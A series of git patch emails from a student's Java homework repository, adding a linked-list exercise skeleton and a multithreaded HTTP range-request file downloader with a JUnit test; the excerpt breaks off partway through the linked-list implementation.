Subject: [PATCH 005/262] add homework3 demo

---
 .../DataStruct/LinkedList.java                | 122 ++++++++++++++++++
 1 file changed, 122 insertions(+)
 create mode 100644 group23/729693763/Third_Homework3/DataStruct/LinkedList.java

diff --git a/group23/729693763/Third_Homework3/DataStruct/LinkedList.java b/group23/729693763/Third_Homework3/DataStruct/LinkedList.java
new file mode 100644
index 0000000000..09fe0a8ff3
--- /dev/null
+++ b/group23/729693763/Third_Homework3/DataStruct/LinkedList.java
@@ -0,0 +1,122 @@
+package com.coding.basic;
+
+public class LinkedList implements List {
+	
+	private Node head;
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index , Object o){
+		
+	}
+	public Object get(int index){
+		return null;
+	}
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public void addFirst(Object o){
+		
+	}
+	public void addLast(Object o){
+		
+	}
+	public Object removeFirst(){
+		return null;
+	}
+	public Object removeLast(){
+		return null;
+	}
+	public Iterator iterator(){
+		return null;
+	}
+	
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		return null;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+}

From 39332434a49fb4b0a114a61ea7ee32d18f929152 Mon Sep 17 00:00:00 2001
From: em14Vito <soulkillty@163.com>
Date: Wed, 22 Mar 2017 22:24:37 +0800
Subject: [PATCH 006/262] add homework3 demo

---
 .../Third_Homework3/download/.classpath       |  5 ++
 .../Third_Homework3/download/.project         | 17 +++++
 .../download/DownloadThread.java              | 20 +++++
 .../download/FileDownloader.java              | 73 +++++++++++++++++++
 .../download/FileDownloaderTest.java          | 59 +++++++++++++++
 .../download/api/Connection.java              | 23 ++++++
 .../download/api/ConnectionException.java     |  5 ++
 .../download/api/ConnectionManager.java       | 10 +++
 .../download/api/DownloadListener.java        |  5 ++
 .../download/impl/ConnectionImpl.java         | 27 +++++++
 .../download/impl/ConnectionManagerImpl.java  | 15 ++++
 11 files changed, 259 insertions(+)
 create mode 100644 group23/729693763/Third_Homework3/download/.classpath
 create mode 100644 group23/729693763/Third_Homework3/download/.project
 create mode 100644 group23/729693763/Third_Homework3/download/DownloadThread.java
 create mode 100644 group23/729693763/Third_Homework3/download/FileDownloader.java
 create mode 100644 group23/729693763/Third_Homework3/download/FileDownloaderTest.java
 create mode 100644 group23/729693763/Third_Homework3/download/api/Connection.java
 create mode 100644 group23/729693763/Third_Homework3/download/api/ConnectionException.java
 create mode 100644 group23/729693763/Third_Homework3/download/api/ConnectionManager.java
 create mode 100644 group23/729693763/Third_Homework3/download/api/DownloadListener.java
 create mode 100644 group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
 create mode 100644 group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java

diff --git a/group23/729693763/Third_Homework3/download/.classpath b/group23/729693763/Third_Homework3/download/.classpath
new file mode 100644
index 0000000000..ac37fb2e4b
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/.classpath
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<classpath>
+	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
+	<classpathentry kind="output" path="bin"/>
+</classpath>
diff --git a/group23/729693763/Third_Homework3/download/.project b/group23/729693763/Third_Homework3/download/.project
new file mode 100644
index 0000000000..9360f320db
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/.project
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<projectDescription>
+	<name>download</name>
+	<comment></comment>
+	<projects>
+	</projects>
+	<buildSpec>
+		<buildCommand>
+			<name>org.eclipse.jdt.core.javabuilder</name>
+			<arguments>
+			</arguments>
+		</buildCommand>
+	</buildSpec>
+	<natures>
+		<nature>org.eclipse.jdt.core.javanature</nature>
+	</natures>
+</projectDescription>
diff --git a/group23/729693763/Third_Homework3/download/DownloadThread.java b/group23/729693763/Third_Homework3/download/DownloadThread.java
new file mode 100644
index 0000000000..900a3ad358
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/DownloadThread.java
@@ -0,0 +1,20 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+	public void run(){	
+		
+	}
+}
diff --git a/group23/729693763/Third_Homework3/download/FileDownloader.java b/group23/729693763/Third_Homework3/download/FileDownloader.java
new file mode 100644
index 0000000000..c3c8a3f27d
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/FileDownloader.java
@@ -0,0 +1,73 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();	
+			
+			new DownloadThread(conn,0,length-1).start();
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group23/729693763/Third_Homework3/download/FileDownloaderTest.java b/group23/729693763/Third_Homework3/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..4ff7f46ae0
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package com.coderising.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://localhost:8080/test.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/729693763/Third_Homework3/download/api/Connection.java b/group23/729693763/Third_Homework3/download/api/Connection.java
new file mode 100644
index 0000000000..0957eaf7f4
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/api/Connection.java
@@ -0,0 +1,23 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group23/729693763/Third_Homework3/download/api/ConnectionException.java b/group23/729693763/Third_Homework3/download/api/ConnectionException.java
new file mode 100644
index 0000000000..1551a80b3d
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group23/729693763/Third_Homework3/download/api/ConnectionManager.java b/group23/729693763/Third_Homework3/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..ce045393b1
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/729693763/Third_Homework3/download/api/DownloadListener.java b/group23/729693763/Third_Homework3/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java b/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..36a9d2ce15
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
@@ -0,0 +1,27 @@
+package com.coderising.download.impl;
+
+import java.io.IOException;
+
+import com.coderising.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		
+		return null;
+	}
+
+	@Override
+	public int getContentLength() {
+		
+		return 0;
+	}
+
+	@Override
+	public void close() {
+		
+		
+	}
+
+}
diff --git a/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java b/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..172371dd55
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,15 @@
+package com.coderising.download.impl;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		
+		return null;
+	}
+
+}

From 7f30f8eb9cda2ec124a44aeb9634381c3e5b1b59 Mon Sep 17 00:00:00 2001
From: em14Vito <soulkillty@163.com>
Date: Thu, 23 Mar 2017 12:35:52 +0800
Subject: [PATCH 007/262] =?UTF-8?q?=E5=AE=8C=E6=88=90=E5=A4=9A=E7=BA=BF?=
 =?UTF-8?q?=E7=A8=8B=E4=B8=8B=E8=BD=BD?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../download/DownloadThread.java              | 37 +++++++-
 .../download/FileDownloader.java              | 85 ++++++++++++-------
 .../download/FileDownloaderTest.java          | 23 +++--
 .../download/api/Connection.java              |  4 +-
 .../download/api/ConnectionException.java     |  2 +-
 .../download/api/ConnectionManager.java       |  2 +-
 .../download/api/DownloadListener.java        |  2 +-
 .../download/impl/ConnectionImpl.java         | 69 +++++++++++++--
 .../download/impl/ConnectionManagerImpl.java  | 24 ++++--
 9 files changed, 182 insertions(+), 66 deletions(-)

diff --git a/group23/729693763/Third_Homework3/download/DownloadThread.java b/group23/729693763/Third_Homework3/download/DownloadThread.java
index 900a3ad358..3ab337e352 100644
--- a/group23/729693763/Third_Homework3/download/DownloadThread.java
+++ b/group23/729693763/Third_Homework3/download/DownloadThread.java
@@ -1,20 +1,49 @@
-package com.coderising.download;
+package com.zhous.download;
 
-import com.coderising.download.api.Connection;
+import com.zhous.download.api.Connection;
+import com.zhous.download.api.DownloadListener;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.RandomAccessFile;
 
 public class DownloadThread extends Thread{
 
 	Connection conn;
 	int startPos;
 	int endPos;
+	File targetFile;
+	DownloadListener downloadListener;
 
-	public DownloadThread( Connection conn, int startPos, int endPos){
+	public DownloadThread( Connection conn, int startPos, int endPos,File targetFile,DownloadListener downloadListener){
 		
 		this.conn = conn;		
 		this.startPos = startPos;
 		this.endPos = endPos;
+		this.targetFile = targetFile;
+		this.downloadListener = downloadListener;
 	}
 	public void run(){	
-		
+		try {
+			//读取到指定长度的二进制数据
+			System.out.println(this.getName()+"开始下载");
+			byte[] data = conn.read(startPos,endPos);
+
+			//插入的file中去
+			RandomAccessFile raFile = new RandomAccessFile(this.targetFile,"rw");
+			raFile.seek(startPos);
+			raFile.write(data,0,endPos-startPos );
+
+			raFile.close();
+			//做完了
+			if(FileDownloader.isDownloadFinish() ){
+				downloadListener.notifyFinished();
+				System.out.println(this.getName()+"完成最后的下载，并写入文件");
+			}
+
+
+		}catch (IOException e){
+
+		}
 	}
 }
diff --git a/group23/729693763/Third_Homework3/download/FileDownloader.java b/group23/729693763/Third_Homework3/download/FileDownloader.java
index c3c8a3f27d..098f9408f0 100644
--- a/group23/729693763/Third_Homework3/download/FileDownloader.java
+++ b/group23/729693763/Third_Homework3/download/FileDownloader.java
@@ -1,25 +1,30 @@
-package com.coderising.download;
+package com.zhous.download;
 
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
+import com.zhous.download.api.Connection;
+import com.zhous.download.api.ConnectionException;
+import com.zhous.download.api.ConnectionManager;
+import com.zhous.download.api.DownloadListener;
+
+import java.io.File;
+import java.util.Set;
 
 
 public class FileDownloader {
-	
-	String url;
-	
+
+	String url="https://image.baidu.com/search/down?tn=download&word=download&ie=utf8&fr=detail&url=https%3A%2F%2Ftimgsa.baidu.com%2Ftimg%3Fimage%26quality%3D80%26size%3Db9999_10000%26sec%3D1490203615530%26di%3D2b1827956a01011d3634f3e04b01b15c%26imgtype%3D0%26src%3Dhttp%253A%252F%252Fimg15.3lian.com%252F2015%252Fh1%252F338%252Fd%252F157.jpg&thumburl=https%3A%2F%2Fss1.bdstatic.com%2F70cFvXSh_Q1YnxGkpoWK1HF6hhy%2Fit%2Fu%3D2613489365%2C2336631324%26fm%3D23%26gp%3D0.jpg";
+	private static int threadNum = 5;
+	private static int threadCount = 0;
+	int avgBytes = 0;
+
 	DownloadListener listener;
-	
 	ConnectionManager cm;
-	
+	File file = null;
 
-	public FileDownloader(String _url) {
+	public FileDownloader(String _url,String fileName) {
 		this.url = _url;
-		
+		this.file = new File(fileName);
 	}
-	
+
 	public void execute(){
 		// 在这里实现你的代码， 注意： 需要用多线程实现下载
 		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
@@ -32,42 +37,60 @@ public void execute(){
 		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
 		// 3. 把byte数组写入到文件中
 		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-		
+
 		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
 		Connection conn = null;
 		try {
-			
+
 			conn = cm.open(this.url);
-			
-			int length = conn.getContentLength();	
-			
-			new DownloadThread(conn,0,length-1).start();
-			
-		} catch (ConnectionException e) {			
+			int length = conn.getContentLength();
+			avgBytes = length / threadNum;
+			//使用5个线程去下载；
+			for (int i = 0; i < threadNum; i++) {
+				int startPos = i*avgBytes;
+				int endPos = startPos + avgBytes - 1;
+				if(i == threadNum -1) {
+					endPos = length;
+				}
+
+				Connection c = cm.open(this.url);
+				DownloadThread thread = new DownloadThread(c,startPos,endPos,file,this.getListener());
+				thread.setName("Thread"+(i+1) );
+				thread.start();
+			}
+
+		} catch (ConnectionException e) {
 			e.printStackTrace();
 		}finally{
 			if(conn != null){
 				conn.close();
 			}
 		}
-		
-		
-		
-		
+
+
+
+
 	}
-	
-	public void setListener(DownloadListener listener) {
+
+
+
+	public void setListener (DownloadListener listener){
 		this.listener = listener;
 	}
 
-	
-	
+	public synchronized static  boolean isDownloadFinish(){
+		threadCount++;
+		return threadCount == threadNum;
+	}
+
+
+
 	public void setConnectionManager(ConnectionManager ucm){
 		this.cm = ucm;
 	}
-	
+
 	public DownloadListener getListener(){
 		return this.listener;
 	}
-	
+
 }
diff --git a/group23/729693763/Third_Homework3/download/FileDownloaderTest.java b/group23/729693763/Third_Homework3/download/FileDownloaderTest.java
index 4ff7f46ae0..ca8817ba88 100644
--- a/group23/729693763/Third_Homework3/download/FileDownloaderTest.java
+++ b/group23/729693763/Third_Homework3/download/FileDownloaderTest.java
@@ -1,12 +1,12 @@
-package com.coderising.download;
+package com.zhous.download;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-import com.coderising.download.impl.ConnectionManagerImpl;
+import com.zhous.download.api.ConnectionManager;
+import com.zhous.download.api.DownloadListener;
+import com.zhous.download.impl.ConnectionManagerImpl;
 
 public class FileDownloaderTest {
 	boolean downloadFinished = false;
@@ -20,11 +20,12 @@ public void tearDown() throws Exception {
 
 	@Test
 	public void testDownload() {
-		
-		String url = "http://localhost:8080/test.jpg";
-		
-		FileDownloader downloader = new FileDownloader(url);
 
+		String url="http://www.mydeskcity.com//upload/pc/112/960x600/1351650816239.jpg";
+		String github = "https://github.com/em14Vito/coding2017/archive/master.zip";
+
+//		FileDownloader downloader = new FileDownloader(url,"Data23.jpg");
+		FileDownloader downloader = new FileDownloader(github,"github.zip");
 	
 		ConnectionManager cm = new ConnectionManagerImpl();
 		downloader.setConnectionManager(cm);
@@ -36,17 +37,15 @@ public void notifyFinished() {
 			}
 
 		});
-
-		
 		downloader.execute();
-		
+
 		// 等待多线程下载程序执行完毕
 		while (!downloadFinished) {
 			try {
 				System.out.println("还没有下载完成，休眠五秒");
 				//休眠5秒
 				Thread.sleep(5000);
-			} catch (InterruptedException e) {				
+			} catch (InterruptedException e) {
 				e.printStackTrace();
 			}
 		}
diff --git a/group23/729693763/Third_Homework3/download/api/Connection.java b/group23/729693763/Third_Homework3/download/api/Connection.java
index 0957eaf7f4..170791e8ba 100644
--- a/group23/729693763/Third_Homework3/download/api/Connection.java
+++ b/group23/729693763/Third_Homework3/download/api/Connection.java
@@ -1,4 +1,4 @@
-package com.coderising.download.api;
+package com.zhous.download.api;
 
 import java.io.IOException;
 
@@ -9,7 +9,7 @@ public interface Connection {
 	 * @param endPos 结束位置
 	 * @return
 	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
+	public byte[] read(int startPos, int endPos) throws IOException;
 	/**
 	 * 得到数据内容的长度
 	 * @return
diff --git a/group23/729693763/Third_Homework3/download/api/ConnectionException.java b/group23/729693763/Third_Homework3/download/api/ConnectionException.java
index 1551a80b3d..925368135d 100644
--- a/group23/729693763/Third_Homework3/download/api/ConnectionException.java
+++ b/group23/729693763/Third_Homework3/download/api/ConnectionException.java
@@ -1,4 +1,4 @@
-package com.coderising.download.api;
+package com.zhous.download.api;
 
 public class ConnectionException extends Exception {
 
diff --git a/group23/729693763/Third_Homework3/download/api/ConnectionManager.java b/group23/729693763/Third_Homework3/download/api/ConnectionManager.java
index ce045393b1..b331ee7f1f 100644
--- a/group23/729693763/Third_Homework3/download/api/ConnectionManager.java
+++ b/group23/729693763/Third_Homework3/download/api/ConnectionManager.java
@@ -1,4 +1,4 @@
-package com.coderising.download.api;
+package com.zhous.download.api;
 
 public interface ConnectionManager {
 	/**
diff --git a/group23/729693763/Third_Homework3/download/api/DownloadListener.java b/group23/729693763/Third_Homework3/download/api/DownloadListener.java
index bf9807b307..07b1a950ce 100644
--- a/group23/729693763/Third_Homework3/download/api/DownloadListener.java
+++ b/group23/729693763/Third_Homework3/download/api/DownloadListener.java
@@ -1,4 +1,4 @@
-package com.coderising.download.api;
+package com.zhous.download.api;
 
 public interface DownloadListener {
 	public void notifyFinished();
diff --git a/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java b/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
index 36a9d2ce15..6a4b98fe06 100644
--- a/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
+++ b/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
@@ -1,27 +1,80 @@
-package com.coderising.download.impl;
+package com.zhous.download.impl;
 
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
 import java.io.IOException;
+import java.io.InputStream;
+import java.net.HttpURLConnection;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.URLConnection;
 
-import com.coderising.download.api.Connection;
+import com.zhous.download.api.*;
 
 public class ConnectionImpl implements Connection{
 
+
+	InputStream is = null;
+	URL url = null;
+	HttpURLConnection http = null;
+	ByteArrayOutputStream bos = new ByteArrayOutputStream();
+
+	//构造方法：
+	public ConnectionImpl() {
+	}
+
+	//打开url并且创建连接
+	public ConnectionImpl(String url) {
+		try {
+			this.url = new URL(url);
+			http = (HttpURLConnection) this.url.openConnection();
+			//设置超时
+			http.setConnectTimeout(5000);
+			http.setReadTimeout(5000);
+
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+	}
+
 	@Override
 	public byte[] read(int startPos, int endPos) throws IOException {
-		
-		return null;
+
+		//指定http中读取一定长度的byte
+		http.setRequestProperty("Range","bytes= "+Integer.toString(startPos)+"-"+Integer.toString(endPos));
+		http.connect();
+
+		//读取输入流到其中
+		is = http.getInputStream();
+		byte[] buffer = new byte[1024];
+		int len = 0;
+		while( (len = is.read(buffer) ) != -1) {
+
+			bos.write(buffer, 0, len);
+		}
+
+		//关闭所有流，每次read的时候自动关闭。
+		close();
+		return bos.toByteArray();
 	}
 
 	@Override
 	public int getContentLength() {
-		
-		return 0;
+		return http.getContentLength();
 	}
 
 	@Override
 	public void close() {
-		
-		
+		try {
+			bos.close();
+			if(is != null) {
+				is.close();
+			}
+			http.disconnect();
+		} catch (IOException e) {
+			e.printStackTrace();
+			System.out.println(e.getMessage());
+		}
 	}
 
 }
diff --git a/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java b/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java
index 172371dd55..28af08a0cd 100644
--- a/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java
+++ b/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java
@@ -1,15 +1,27 @@
-package com.coderising.download.impl;
+package com.zhous.download.impl;
 
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
+import  com.zhous.download.api.*;
+
+import java.net.MalformedURLException;
+import java.net.URL;
 
 public class ConnectionManagerImpl implements ConnectionManager {
 
+
+
 	@Override
 	public Connection open(String url) throws ConnectionException {
-		
-		return null;
+		Connection ct = null;
+		URL u = null;
+		try {
+			u = new URL(url);
+			ct = new ConnectionImpl(url);
+		} catch (MalformedURLException e) {
+			e.printStackTrace();
+		} finally {
+			//URL类不需要关闭
+		}
+		return ct;
 	}
 
 }

From 349cd580aadfa428182d59f3e8f68d6fd33dbb47 Mon Sep 17 00:00:00 2001
From: em14Vito <soulkillty@163.com>
Date: Sat, 25 Mar 2017 11:12:51 +0800
Subject: [PATCH 008/262] finish hw3

---
 .../Third_Homework3/DataStruct/Iterator.java  |   6 +
 .../DataStruct/LinkedList.java                | 255 ++++++++++++++++--
 .../Third_Homework3/DataStruct/List.java      |  10 +
 3 files changed, 246 insertions(+), 25 deletions(-)
 create mode 100644 group23/729693763/Third_Homework3/DataStruct/Iterator.java
 create mode 100644 group23/729693763/Third_Homework3/DataStruct/List.java

diff --git a/group23/729693763/Third_Homework3/DataStruct/Iterator.java b/group23/729693763/Third_Homework3/DataStruct/Iterator.java
new file mode 100644
index 0000000000..2ca354f82a
--- /dev/null
+++ b/group23/729693763/Third_Homework3/DataStruct/Iterator.java
@@ -0,0 +1,6 @@
+package com.zhous.DataStruct;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+}
diff --git a/group23/729693763/Third_Homework3/DataStruct/LinkedList.java b/group23/729693763/Third_Homework3/DataStruct/LinkedList.java
index 09fe0a8ff3..2a6663a3ba 100644
--- a/group23/729693763/Third_Homework3/DataStruct/LinkedList.java
+++ b/group23/729693763/Third_Homework3/DataStruct/LinkedList.java
@@ -1,42 +1,152 @@
-package com.coding.basic;
+package com.zhous.DataStruct;
+
+import javafx.beans.binding.ObjectExpression;
+
+
 
 public class LinkedList implements List {
 	
-	private Node head;
-	
+	private Node head = null;
+	private int size = 0;
+
 	public void add(Object o){
-		
+		addLast(o);
+		this.size++;
+	}
+
+	//内部调用的方法：
+	//2 返回添加到哪个Node
+	private Node findBeforeInsertNode(int needInsertIndex){
+		Node findGetNode = this.head;
+		for ( int i=0; i< needInsertIndex - 1; i++ ) {
+			findGetNode = findGetNode.next;
+		}
+		return findGetNode;
 	}
+	//3
+	private void checkPositionIndex(int index) {
+		if ( !( index >= 0 && index <= size ) )
+			throw new IndexOutOfBoundsException("Invalid Index:"+index);
+	}
+
+	//4
+	private void addBeforeNode(int index, Object o) {
+		Node newNode = new Node();
+		newNode.data = o;
+		newNode.next = null;
+
+		Node beforeInserNode = this.head;
+
+
+			beforeInserNode =  findBeforeInsertNode(index);
+
+			newNode.next = beforeInserNode.next;
+			beforeInserNode.next = newNode;
+
+	}
+	//5
+	private Node findIndexNode(int index){
+		Node findGetNode = this.head;
+		for ( int i=0; i< index; i++ ) {
+			findGetNode = findGetNode.next;
+		}
+		return findGetNode;
+	}
+
+
 	public void add(int index , Object o){
-		
+		checkPositionIndex(index);
+		if( index == size()){
+			addLast(o);
+		} else if ( index == 0 ) {
+			addFirst(o);
+		} else{
+			addBeforeNode(index,o);
+		}
+		this.size++;
 	}
+
+
+
+
 	public Object get(int index){
-		return null;
+		checkElementIndex(index);
+		return findIndexNode(index);
 	}
 	public Object remove(int index){
-		return null;
+		checkElementIndex(index);
+		Object deleteData = null;
+
+		if(index == 0){
+			deleteData = removeFirst();
+		} else if(index == (size() - 1) ){
+			deleteData = removeLast();
+		} else {
+			Node temp = findBeforeInsertNode(index);
+			Node tempNext = temp.next;
+			deleteData = tempNext.data;
+
+			temp.next = tempNext.next;
+			tempNext = null;
+		}
+
+		return deleteData;
 	}
-	
+
+	//6
+	private void checkElementIndex(int index) {
+		if ( !( index >= 0 && index < size ) )
+			throw new IndexOutOfBoundsException("Invalid Index:"+index);
+	}
+
 	public int size(){
-		return -1;
+		return this.size;
 	}
 	
 	public void addFirst(Object o){
-		
+		Node newNode = new Node();
+		newNode.data = o;
+		newNode.next = null;
+		if ( this.head == null  ) {
+			this.head = newNode;
+		} else {
+			newNode.next = this.head;
+			this.head = newNode;
+		}
 	}
-	public void addLast(Object o){
-		
+	private void addLast(Object o){
+		Node newNode = new Node();
+		newNode.data = o;
+		newNode.next = null;
+		if ( head == null ) {
+			head = newNode;
+		} else{
+			findBeforeInsertNode(this.size).next = newNode;
+		}
 	}
 	public Object removeFirst(){
-		return null;
+		Object data;
+		Node newHead = new Node();
+		newHead = this.head;
+		this.head = newHead.next;
+
